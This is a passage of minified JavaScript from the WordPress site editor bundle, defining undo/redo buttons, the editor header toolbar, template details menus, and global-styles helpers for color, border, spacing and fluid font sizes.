11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z"})),fn=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z"})),En=(0,o.forwardRef)((function(e,t){const n=(0,c.useSelect)((e=>e(u.store).hasUndo()),[]),{undo:l}=(0,c.useDispatch)(u.store);return(0,o.createElement)(_.Button,d({},e,{ref:t,icon:(0,h.isRTL)()?fn:hn,label:(0,h.__)("Undo"),shortcut:Ut.displayShortcut.primary("z"),"aria-disabled":!n,onClick:n?l:void 0}))})),vn=(0,o.forwardRef)((function(e,t){const n=(0,Ut.isAppleOS)()?Ut.displayShortcut.primaryShift("z"):Ut.displayShortcut.primary("y"),l=(0,c.useSelect)((e=>e(u.store).hasRedo()),[]),{redo:a}=(0,c.useDispatch)(u.store);return(0,o.createElement)(_.Button,d({},e,{ref:t,icon:(0,h.isRTL)()?hn:fn,label:(0,h.__)("Redo"),shortcut:n,"aria-disabled":!l,onClick:l?a:void 0}))})),yn=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"}));function bn(e){if(e){const t=(0,i.getBlockType)(e.name);return t?(0,i.__experimentalGetBlockLabel)(t,e.attributes):null}return null}function wn(e){let{entityTitle:t,entityLabel:n,isLoaded:l,children:a,showIconLabels:r}=e;const{label:i}=function(){const{getBlock:e}=(0,c.useSelect)(ge.store),t=(0,c.useSelect)((e=>e(ge.store).__experimentalGetActiveBlockIdByBlockNames(["core/template-part"])),[]);return t?{label:bn(e(t)),isActive:!0}:{}}(),[s,u]=(0,o.useState)(null),m=(0,o.useMemo)((()=>({anchor:s})),[s]);return l?t?(0,o.createElement)("div",{className:g()("edit-site-document-actions",{"has-secondary-label":!!i})},(0,o.createElement)("div",{ref:u,className:"edit-site-document-actions__title-wrapper"},(0,o.createElement)(_.__experimentalText,{size:"body",className:"edit-site-document-actions__title",as:"h1"},(0,o.createElement)(_.VisuallyHidden,{as:"span"},(0,h.sprintf)(
/* translators: %s: the entity being edited, like "template"*/
(0,h.__)("Editing %s: "),n)),t),(0,o.createElement)(_.__experimentalText,{size:"body",className:"edit-site-document-actions__secondary-item"},null!=i?i:""),a&&(0,o.createElement)(_.Dropdown,{popoverProps:m,position:"bottom center",renderToggle:e=>{let{isOpen:t,onToggle:l}=e;return(0,o.createElement)(_.Button,{className:"edit-site-document-actions__get-info",icon:yn,"aria-expanded":t,"aria-haspopup":"true",onClick:l,variant:r?"tertiary":void 0,label:(0,h.sprintf)(
/* translators: %s: the entity to see details about, like "template"*/
(0,h.__)("Show %s details"),n)},r&&(0,h.__)("Details"))},contentClassName:"edit-site-document-actions__info-dropdown",renderContent:a}))):(0,o.createElement)("div",{className:"edit-site-document-actions"},(0,h.__)("Template not found")):(0,o.createElement)("div",{className:"edit-site-document-actions"},(0,h.__)("Loading…"))}function xn(e){var t;let{onClose:n,templatePart:l,closeTemplateDetailsDropdown:a}=e;const{revertTemplate:r}=(0,c.useDispatch)(Ot),{params:i}=ke(),s=Ie({postId:l.id,postType:l.type},{fromTemplateId:i.postId});return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.MenuGroup,null,(0,o.createElement)(_.MenuItem,d({},s,{onClick:function(e){s.onClick(e),n(),a()}}),(0,h.sprintf)(
/* translators: %s: template part title */
(0,h.__)("Edit %s"),null===(t=l.title)||void 0===t?void 0:t.rendered))),Ye(l)&&(0,o.createElement)(_.MenuGroup,null,(0,o.createElement)(_.MenuItem,{info:(0,h.__)("Use the template part as supplied by the theme."),onClick:function(){r(l),n(),a()}},(0,h.__)("Clear customizations"))))}function Sn(e){let{templatePart:t,clientId:n,closeTemplateDetailsDropdown:l}=e;const{selectBlock:a,toggleBlockHighlight:r}=(0,c.useDispatch)(ge.store),i=(0,c.useSelect)((e=>e(m.store).__experimentalGetDefaultTemplatePartAreas().find((e=>e.area===t.area))),[t.area]),s=()=>r(n,!0),u=()=>r(n,!1);return(0,o.createElement)("div",{role:"menuitem",className:"edit-site-template-details__template-areas-item"},(0,o.createElement)(_.MenuItem,{role:"button",icon:null==i?void 0:i.icon,iconPosition:"left",onClick:()=>{a(n)},onMouseOver:s,onMouseLeave:u,onFocus:s,onBlur:u},null==i?void 0:i.label),(0,o.createElement)(_.DropdownMenu,{icon:te,label:(0,h.__)("More options"),className:"edit-site-template-details__template-areas-item-more"},(e=>{let{onClose:n}=e;return(0,o.createElement)(xn,{onClose:n,templatePart:t,closeTemplateDetailsDropdown:l})})))}function kn(e){let{closeTemplateDetailsDropdown:t}=e;const n=(0,c.useSelect)((e=>e(Ot).getCurrentTemplateTemplateParts()),[]);return n.length?(0,o.createElement)(_.MenuGroup,{label:(0,h.__)("Areas"),className:"edit-site-template-details__group edit-site-template-details__template-areas"},n.map((e=>{let{templatePart:n,block:l}=e;return(0,o.createElement)(Sn,{key:n.slug,clientId:l.clientId,templatePart:n,closeTemplateDetailsDropdown:t})}))):null}function Cn(e){let{template:t}=e;const[n,l]=(0,o.useState)(!1),[a,r]=(0,u.useEntityProp)("postType",t.type,"title",t.id);return(0,o.createElement)(_.TextControl,{label:(0,h.__)("Title"),value:n?"":a,help:"wp_template_part"!==t.type?(0,h.__)('Give the template a title that indicates its purpose, e.g. "Full Width".'):null,onChange:e=>{e||n?(l(!1),r(e)):l(!0)},onBlur:()=>l(!1)})}function Tn(e){let{id:t}=e;const[n,l]=(0,u.useEntityProp)("postType","wp_template_part","area",t),a=(0,c.useSelect)((e=>e(m.store).__experimentalGetDefaultTemplatePartAreas()),[]).map((e=>{let{label:t,area:n}=e;return{label:t,value:n}}));return(0,o.createElement)(_.SelectControl,{label:(0,h.__)("Area"),labelPosition:"top",options:a,value:n,onChange:l})}function Nn(e){let{template:t,onClose:n}=e;const{title:l,description:a}=(0,c.useSelect)((e=>e(m.store).__experimentalGetTemplateInfo(t)),[]),{revertTemplate:r}=(0,c.useDispatch)(Ot),i=Ie({postType:t.type,postId:void 0}),s="wp_template_part"===t.type,u=(s||t.is_custom)&&!t.has_theme_file;return t?(0,o.createElement)("div",{className:"edit-site-template-details"},(0,o.createElement)(_.__experimentalVStack,{className:"edit-site-template-details__group",spacing:3},u?(0,o.createElement)(Cn,{template:t}):(0,o.createElement)(_.__experimentalText,{size:16,weight:600,className:"edit-site-template-details__title",as:"p"},l),a&&(0,o.createElement)(_.__experimentalText,{size:"body",className:"edit-site-template-details__description",as:"p"},a)),s&&(0,o.createElement)("div",{className:"edit-site-template-details__group"},(0,o.createElement)(Tn,{id:t.id})),(0,o.createElement)(kn,{closeTemplateDetailsDropdown:n}),Ye(t)&&(0,o.createElement)(_.MenuGroup,{className:"edit-site-template-details__group edit-site-template-details__revert"},(0,o.createElement)(_.MenuItem,{className:"edit-site-template-details__revert-button",info:(0,h.__)("Use the template as supplied by the theme."),onClick:()=>{r(t),n()}},(0,h.__)("Clear customizations"))),(0,o.createElement)(_.Button,d({className:"edit-site-template-details__show-all-button"},i),"wp_template"===(null==t?void 0:t.type)?(0,h.__)("Browse all templates"):(0,h.__)("Browse all template parts"))):null}const In=e=>{e.preventDefault()};function Mn(e){var t;let{openEntitiesSavedStates:n,isEntitiesSavedStatesOpen:l,showIconLabels:a}=e;const r=(0,o.useRef)(),{deviceType:i,entityTitle:s,template:d,templateType:p,isInserterOpen:f,isListViewOpen:E,listViewShortcut:v,isLoaded:y,isVisualMode:b,settings:w,blockEditorMode:x}=(0,c.useSelect)((e=>{const{__experimentalGetPreviewDeviceType:t,getEditedPostType:n,getEditedPostId:l,isInserterOpened:a,isListViewOpened:r,getEditorMode:o,getSettings:i}=e(Ot),{getEditedEntityRecord:s}=e(u.store),{__experimentalGetTemplateInfo:c}=e(m.store),{getShortcutRepresentation:d}=e(Ft.store),{__unstableGetEditorMode:p}=e(ge.store),g=n(),_=l(),h=s("postType",g,_),f=!!_;return{deviceType:t(),entityTitle:c(h).title,isLoaded:f,template:h,templateType:g,isInserterOpen:a(),isListViewOpen:r(),listViewShortcut:d("core/edit-site/toggle-list-view"),isVisualMode:"visual"===o(),settings:i(),blockEditorMode:p()}}),[]),{__experimentalSetPreviewDeviceType:S,setIsInserterOpened:k,setIsListViewOpened:C}=(0,c.useDispatch)(Ot),{__unstableSetEditorMode:T}=(0,c.useDispatch)(ge.store),N=(0,J.useViewportMatch)("medium"),I=(0,o.useCallback)((()=>{f?r.current.focus():k(!0)}),[f,k]),M=(0,o.useCallback)((()=>C(!E)),[C,E]),P="wp_template_part"===p,B=(0,h._x)("Toggle block inserter","Generic label for block inserter button"),V=f?(0,h.__)("Close"):(0,h.__)("Add"),z=(null===(t=window)||void 0===t?void 0:t.__experimentalEnableZoomedOutView)&&b,A="zoom-out"===x;return(0,o.createElement)("div",{className:"edit-site-header"},(0,o.createElement)(ge.NavigableToolbar,{className:"edit-site-header_start","aria-label":(0,h.__)("Document tools")},(0,o.createElement)("div",{className:"edit-site-header__toolbar"},(0,o.createElement)(_.ToolbarItem,{ref:r,as:_.Button,className:"edit-site-header-toolbar__inserter-toggle",variant:"primary",isPressed:f,onMouseDown:In,onClick:I,disabled:!b,icon:Dt,label:a?V:B,showTooltip:!a}),N&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.ToolbarItem,{as:ge.ToolSelector,showTooltip:!a,variant:a?"tertiary":void 0,disabled:!b}),(0,o.createElement)(_.ToolbarItem,{as:En,showTooltip:!a,variant:a?"tertiary":void 0}),(0,o.createElement)(_.ToolbarItem,{as:vn,showTooltip:!a,variant:a?"tertiary":void 0}),(0,o.createElement)(_.ToolbarItem,{as:_.Button,className:"edit-site-header-toolbar__list-view-toggle",disabled:!b&&A,icon:Gt,isPressed:E
/* translators: button label text should, if possible, be under 16 characters. */,label:(0,h.__)("List View"),onClick:M,shortcut:v,showTooltip:!a,variant:a?"tertiary":void 0}),z&&(0,o.createElement)(_.ToolbarItem,{as:_.Button,className:"edit-site-header-toolbar__zoom-out-view-toggle",icon:Ht,isPressed:A
/* translators: button label text should, if possible, be under 16 characters. */,label:(0,h.__)("Zoom-out View"),onClick:()=>{S("desktop"),C(!1),T(A?"edit":"zoom-out")}})))),(0,o.createElement)("div",{className:"edit-site-header_center"},(0,o.createElement)(wn,{entityTitle:s,entityLabel:"wp_template_part"===p?"template part":"template",isLoaded:y,showIconLabels:a},(e=>{let{onClose:t}=e;return(0,o.createElement)(Nn,{template:d,onClose:t})}))),(0,o.createElement)("div",{className:"edit-site-header_end"},(0,o.createElement)("div",{className:"edit-site-header__actions"},!P&&(0,o.createElement)("div",{className:g()("edit-site-header__actions__preview-options",{"is-zoomed-out":A})},(0,o.createElement)(ge.__experimentalPreviewOptions,{deviceType:i,setDeviceType:S},(0,o.createElement)(_.MenuGroup,null,(0,o.createElement)(_.MenuItem,{href:null==w?void 0:w.siteUrl,target:"_blank",icon:$t},(0,h.__)("View site"),(0,o.createElement)(_.VisuallyHidden,{as:"span"},
/* translators: accessibility text */
(0,h.__)("(opens in a new tab)")))))),(0,o.createElement)(gn,{openEntitiesSavedStates:n,isEntitiesSavedStatesOpen:l}),(0,o.createElement)(X.Slot,{scope:"core/edit-site"}),(0,o.createElement)(pn,{showIconLabels:a}))))}const Pn=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"}));function Bn(e){let{className:t,identifier:n,title:l,icon:a,children:r,closeLabel:i,header:s,headerClassName:u,panelClassName:m}=e;const d=(0,c.useSelect)((e=>e(Ot).getSettings().showIconLabels),[]);return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Q,{className:t,scope:"core/edit-site",identifier:n,title:l,icon:a,closeLabel:i,header:s,headerClassName:u,panelClassName:m,showIconLabels:d},r),(0,o.createElement)(q,{scope:"core/edit-site",identifier:n,icon:a},l))}const Vn=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z"}));function zn(e){let{className:t,...n}=e;return(0,o.createElement)(_.Icon,d({className:g()(t,"edit-site-global-styles-icon-with-current-color")},n))}function An(e){let{icon:t,children:n,...l}=e;return(0,o.createElement)(_.__experimentalItem,l,t&&(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(zn,{icon:t,size:24}),(0,o.createElement)(_.FlexItem,null,n)),!t&&n)}function Rn(e){return(0,o.createElement)(_.__experimentalNavigatorButton,d({as:An},e))}const Ln=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M6.9 7L3 17.8h1.7l1-2.8h4.1l1 2.8h1.7L8.6 7H6.9zm-.7 6.6l1.5-4.3 1.5 4.3h-3zM21.6 17c-.1.1-.2.2-.3.2-.1.1-.2.1-.4.1s-.3-.1-.4-.2c-.1-.1-.1-.3-.1-.6V12c0-.5 0-1-.1-1.4-.1-.4-.3-.7-.5-1-.2-.2-.5-.4-.9-.5-.4 0-.8-.1-1.3-.1s-1 .1-1.4.2c-.4.1-.7.3-1 .4-.2.2-.4.3-.6.5-.1.2-.2.4-.2.7 0 .3.1.5.2.8.2.2.4.3.8.3.3 0 .6-.1.8-.3.2-.2.3-.4.3-.7 0-.3-.1-.5-.2-.7-.2-.2-.4-.3-.6-.4.2-.2.4-.3.7-.4.3-.1.6-.1.8-.1.3 0 .6 0 .8.1.2.1.4.3.5.5.1.2.2.5.2.9v1.1c0 .3-.1.5-.3.6-.2.2-.5.3-.9.4-.3.1-.7.3-1.1.4-.4.1-.8.3-1.1.5-.3.2-.6.4-.8.7-.2.3-.3.7-.3 1.2 0 .6.2 1.1.5 1.4.3.4.9.5 1.6.5.5 0 1-.1 1.4-.3.4-.2.8-.6 1.1-1.1 0 .4.1.7.3 1 .2.3.6.4 1.2.4.4 0 .7-.1.9-.2.2-.1.5-.3.7-.4h-.3zm-3-.9c-.2.4-.5.7-.8.8-.3.2-.6.2-.8.2-.4 0-.6-.1-.9-.3-.2-.2-.3-.6-.3-1.1 0-.5.1-.9.3-1.2s.5-.5.8-.7c.3-.2.7-.3 1-.5.3-.1.6-.3.7-.6v3.4z"})),On=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z"})),Fn=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"}));function Dn(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e)return null;const{coerceTo:n,rootSizeValue:l,acceptableUnits:a}={coerceTo:"",rootSizeValue:16,acceptableUnits:["rem","px","em"],...t},r=null==a?void 0:a.join("|"),o=new RegExp(`^(\\d*\\.?\\d+)(${r}){1,1}$`),i=e.match(o);if(!i||i.length<3)return null;let[,s,c]=i,u=parseFloat(s);return"px"!==n||"em"!==c&&"rem"!==c||(u*=l,c=n),"px"!==c||"em"!==n&&"rem"!==n||(u/=l,c=n),{value:u,unit:c}}function Gn(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:3;return Number.isFinite(e)?parseFloat(e.toFixed(t)):void 0}const Hn="body",$n=[{path:["color","palette"],valueKey:"color",cssVarInfix:"color",classes:[{classSuffix:"color",propertyName:"color"},{classSuffix:"background-color",propertyName:"background-color"},{classSuffix:"border-color",propertyName:"border-color"}]},{path:["color","gradients"],valueKey:"gradient",cssVarInfix:"gradient",classes:[{classSuffix:"gradient-background",propertyName:"background"}]},{path:["color","duotone"],cssVarInfix:"duotone",valueFunc:e=>{let{slug:t}=e;return`url( '#wp-duotone-${t}' )`},classes:[]},{path:["typography","fontSizes"],valueFunc:(e,t)=>{let{typography:n}=t;return function(e,t){const{size:n}=e;if(!0!==(null==t?void 0:t.fluid))return n;if(!1===(null==e?void 0:e.fluid))return n;const l=(null==e?void 0:e.fluid)||{};let a=null==l?void 0:l.min,r=null==l?void 0:l.max;const o=Dn(n);return null!=o&&o.unit?(a||(a=.75*o.value+o.unit),r||(r=1.5*o.value+o.unit),function(e){let{maximumViewPortWidth:t,minimumViewPortWidth:n,maximumFontSize:l,minimumFontSize:a,scaleFactor:r}=e;const o=Dn(a),i=(null==o?void 0:o.unit)||"rem",s=Dn(l,{coerceTo:i});if(!o||!s)return null;const c=Dn(a,{coerceTo:"rem"}),u=Dn(t,{coerceTo:i}),m=Dn(n,{coerceTo:i});if(!u||!m||!c)return null;const d=Gn(m.value/100,3)+i;let p=(s.value-o.value)/(u.value-m.value)*100;p=Gn(p,3)||1;const g=p*r;return`clamp(${a}, ${c.value}${c.unit} + ((1vw - ${d}) * ${g}), ${l})`}({maximumViewPortWidth:"1600px",minimumViewPortWidth:"768px",maximumFontSize:r,minimumFontSize:a,scaleFactor:1})||n):n}(e,n)},valueKey:"size",cssVarInfix:"font-size",classes:[{classSuffix:"font-size",propertyName:"font-size"}]},{path:["typography","fontFamilies"],valueKey:"fontFamily",cssVarInfix:"font-family",classes:[{classSuffix:"font-family",propertyName:"font-family"}]},{path:["spacing","spacingSizes"],valueKey:"size",cssVarInfix:"spacing",valueFunc:e=>{let{size:t}=e;return t},classes:[]}],Un={"color.background":"color","color.text":"color","elements.link.color.text":"color","elements.button.color.text":"color","elements.button.backgroundColor":"background-color","elements.heading.color":"color","elements.heading.backgroundColor":"background-color","elements.heading.gradient":"gradient","color.gradient":"gradient","typography.fontSize":"font-size","typography.fontFamily":"font-family"};function Wn(e,t,n,l,a){const r=[(0,pt.get)(e,["blocks",t,...n]),(0,pt.get)(e,n)];for(const o of r)if(o){const r=["custom","theme","default"];for(const i of r){const r=o[i];if(r){const o=(0,pt.find)(r,(e=>e[l]===a));if(o)return"slug"===l||Wn(e,t,n,"slug",o.slug)[l]===o[l]?o:void 0}}}}function jn(e,t,n,l){if(!l)return l;const a=Un[n],r=(0,pt.find)($n,["cssVarInfix",a]);if(!r)return l;const{valueKey:o,path:i}=r,s=Wn(e,t,i,o,l);return s?`var:preset|${a}|${s.slug}`:l}function qn(e,t,n){if(!n||"string"!=typeof n){var l,a;if(null===(l=n)||void 0===l||!l.ref||"string"!=typeof(null===(a=n)||void 0===a?void 0:a.ref))return n;{var r;const t=n.ref.split(".");if(!(n=(0,pt.get)(e,t))||null!==(r=n)&&void 0!==r&&r.ref)return n}}const o="var:",i="var(--wp--";let s;if(n.startsWith(o))s=n.slice(o.length).split("|");else{if(!n.startsWith(i)||!n.endsWith(")"))return n;s=n.slice(i.length,-")".length).split("--")}const[c,...u]=s;return"preset"===c?function(e,t,n,l){let[a,r]=l;const o=(0,pt.find)($n,["cssVarInfix",a]);if(!o)return n;const i=Wn(e.settings,t,o.path,"slug",r);if(i){const{valueKey:n}=o;return qn(e,t,i[n])}return n}(e,t,n,u):"custom"===c?function(e,t,n,l){var a;const r=null!==(a=(0,pt.get)(e.settings,["blocks",t,"custom",...l]))&&void 0!==a?a:(0,pt.get)(e.settings,["custom",...l]);return r?qn(e,t,r):n}(e,t,n,u):n}const Yn=(0,o.createContext)({user:{},base:{},merged:{},setUserConfig:()=>{}}),Xn={settings:{},styles:{}};function Kn(e,t){var n;let l=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"all";const{merged:a,base:r,user:s,setUserConfig:c}=(0,o.useContext)(Yn),u=t?`settings.blocks.${t}.${e}`:`settings.${e}`,m=t=>{c((n=>{const l=JSON.parse(JSON.stringify(n)),a=i.__EXPERIMENTAL_PATHS_WITH_MERGE[e]?u+".custom":u;return(0,pt.set)(l,a,t),l}))},d=t=>{const n=t?`settings.blocks.${t}.${e}`:`settings.${e}`,o=t=>{const l=(0,pt.get)(t,n);var a,r;return i.__EXPERIMENTAL_PATHS_WITH_MERGE[e]?null!==(a=null!==(r=null==l?void 0:l.custom)&&void 0!==r?r:null==l?void 0:l.theme)&&void 0!==a?a:null==l?void 0:l.default:l};let c;switch(l){case"all":c=o(a);break;case"user":c=o(s);break;case"base":c=o(r);break;default:throw"Unsupported source"}return c},p=null!==(n=d(t))&&void 0!==n?n:d();return[p,m]}function Zn(e,t){var n;let l=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"all";const{merged:a,base:r,user:i,setUserConfig:s}=(0,o.useContext)(Yn),c=t?`styles.blocks.${t}.${e}`:`styles.${e}`,u=n=>{s((l=>{const r=JSON.parse(JSON.stringify(l));return(0,pt.set)(r,c,jn(a.settings,t,e,n)),r}))};let m;switch(l){case"all":m=qn(a,t,null!==(n=(0,pt.get)(i,c))&&void 0!==n?n:(0,pt.get)(r,c));break;case"user":m=qn(a,t,(0,pt.get)(i,c));break;case"base":m=qn(r,t,(0,pt.get)(r,c));break;default:throw"Unsupported source"}return[m,u]}const Qn=["background","backgroundColor","color","linkColor","buttonColor","fontFamily","fontSize","fontStyle","fontWeight","lineHeight","textDecoration","padding","contentSize","wideSize","blockGap"];function Jn(e){var t,n,l,a,r,o,s,c;if(!e)return Qn;const u=(0,i.getBlockType)(e);if(!u)return[];const m=[];return null==u||null===(t=u.supports)||void 0===t||null===(n=t.spacing)||void 0===n||!n.blockGap||!0===(null==u||null===(l=u.supports)||void 0===l||null===(a=l.spacing)||void 0===a?void 0:a.__experimentalSkipSerialization)||null!=u&&null!==(r=u.supports)&&void 0!==r&&null!==(o=r.spacing)&&void 0!==o&&null!==(s=o.__experimentalSkipSerialization)&&void 0!==s&&null!==(c=s.some)&&void 0!==c&&c.call(s,(e=>"blockGap"===e))||m.push("blockGap"),Object.keys(i.__EXPERIMENTAL_STYLE_PROPERTY).forEach((e=>{if(i.__EXPERIMENTAL_STYLE_PROPERTY[e].support)return i.__EXPERIMENTAL_STYLE_PROPERTY[e].requiresOptOut&&i.__EXPERIMENTAL_STYLE_PROPERTY[e].support[0]in u.supports&&!1!==(0,pt.get)(u.supports,i.__EXPERIMENTAL_STYLE_PROPERTY[e].support)||(0,pt.get)(u.supports,i.__EXPERIMENTAL_STYLE_PROPERTY[e].support,!1)?m.push(e):void 0})),m}function el(e){const[t]=Kn("color.palette.custom",e),[n]=Kn("color.palette.theme",e),[l]=Kn("color.palette.default",e),[a]=Kn("color.defaultPalette");return(0,o.useMemo)((()=>{const e=[];return n&&n.length&&e.push({name:(0,h._x)("Theme","Indicates this palette comes from the theme."),colors:n}),a&&l&&l.length&&e.push({name:(0,h._x)("Default","Indicates this palette comes from WordPress."),colors:l}),t&&t.length&&e.push({name:(0,h._x)("Custom","Indicates this palette is created by the user."),colors:t}),e}),[t,n,l])}function tl(e){const[t]=Kn("color.gradients.custom",e),[n]=Kn("color.gradients.theme",e),[l]=Kn("color.gradients.default",e),[a]=Kn("color.defaultGradients");return(0,o.useMemo)((()=>{const e=[];return n&&n.length&&e.push({name:(0,h._x)("Theme","Indicates this palette comes from the theme."),gradients:n}),a&&l&&l.length&&e.push({name:(0,h._x)("Default","Indicates this palette comes from WordPress."),gradients:l}),t&&t.length&&e.push({name:(0,h._x)("Custom","Indicates this palette is created by the user."),gradients:t}),e}),[t,n,l])}function nl(e){return[ll(e),al(e),rl(e),ol(e)].some(Boolean)}function ll(e){const t=Jn(e);return Kn("border.color",e)[0]&&t.includes("borderColor")}function al(e){const t=Jn(e);return Kn("border.radius",e)[0]&&t.includes("borderRadius")}function rl(e){const t=Jn(e);return Kn("border.style",e)[0]&&t.includes("borderStyle")}function ol(e){const t=Jn(e);return Kn("border.width",e)[0]&&t.includes("borderWidth")}function il(e){return e?e.style||!e.color&&!e.width?e:{...e,style:"solid"}:e}function sl(e){let{name:t}=e;const[n]=Zn("border",t,"user"),[l,a]=Zn("border",t),r=el(t),i=ll(t),s=rl(t),c=ol(t),u=al(t),[m,d]=Zn("border.radius",t),p=()=>{const e=null==n?void 0:n.radius;return"object"==typeof e?Object.entries(e).some(Boolean):!!e},g=(0,o.useCallback)((()=>a(void 0)),[a]),f=(0,o.useCallback)((e=>{const t=function(e){return e?(0,_.__experimentalHasSplitBorders)(e)?{top:il(e.top),right:il(e.right),bottom:il(e.bottom),left:il(e.left)}:il(e):e}(e),n=(0,_.__experimentalHasSplitBorders)(t)?{color:null,style:null,width:null,...t}:{top:t,right:t,bottom:t,left:t};a({radius:null==l?void 0:l.radius,...n})}),[a]);return(0,o.createElement)(_.__experimentalToolsPanel,{label:(0,h.__)("Border"),resetAll:g},(c||i)&&(0,o.createElement)(_.__experimentalToolsPanelItem,{hasValue:()=>(0,_.__experimentalIsDefinedBorder)(n),label:(0,h.__)("Border"),onDeselect:()=>(()=>{if(p())return a({radius:n.radius});a(void 0)})(),isShownByDefault:!0},(0,o.createElement)(_.__experimentalBorderBoxControl,{colors:r,enableAlpha:!0,enableStyle:s,onChange:f,popoverOffset:40,popoverPlacement:"left-start",value:l,__experimentalHasMultipleOrigins:!0,__experimentalIsRenderedInSidebar:!0})),u&&(0,o.createElement)(_.__experimentalToolsPanelItem,{hasValue:p,label:(0,h.__)("Radius"),onDeselect:()=>d(void 0),isShownByDefault:!0},(0,o.createElement)(ge.__experimentalBorderRadiusControl,{values:m,onChange:e=>{d(e||void 0)}})))}function cl(e){const t=Jn(e);return t.includes("color")||t.includes("backgroundColor")||t.includes("background")||t.includes("linkColor")}const ul=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M7 9v6h10V9H7zM5 19.8h14v-1.5H5v1.5zM5 4.3v1.5h14V4.3H5z"})),ml=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M5 9v6h14V9H5zm11-4.8H8v1.5h8V4.2zM8 19.8h8v-1.5H8v1.5z"})),dl=["horizontal","vertical"];function pl(e){const t=gl(e),n=_l(e),l=hl(e),a=fl(e),r=El(e);return t||n||l||a||r}function gl(e){const t=Jn(e),[n]=Kn("layout.contentSize",e);return n&&t.includes("contentSize")}function _l(e){const t=Jn(e),[n]=Kn("layout.wideSize",e);return n&&t.includes("wideSize")}function hl(e){const t=Jn(e),[n]=Kn("spacing.padding",e);return n&&t.includes("padding")}function fl(e){const t=Jn(e),[n]=Kn("spacing.margin",e);return n&&t.includes("margin")}function El(e){const t=Jn(e),[n]=Kn("spacing.blockGap",e);return n&&t.includes("blockGap")}function vl(e,t){if(!t)return e;const n={};return t.forEach((t=>{"vertical"===t&&(n.top=e.top,n.bottom=e.bottom),"horizontal"===t&&(n.left=e.left,n.right=e.right),n[t]=e[t]})),n}function yl(e){return e&&"string"==typeof e?{top:e,right:e,bottom:e,left:e}:e}function bl(e){let{name:t}=e;const n=gl(t),l=_l(t),a=hl(t),r=fl(t),i=El(t),s=function(){const[e]=Kn("spacing.spacingSizes");return 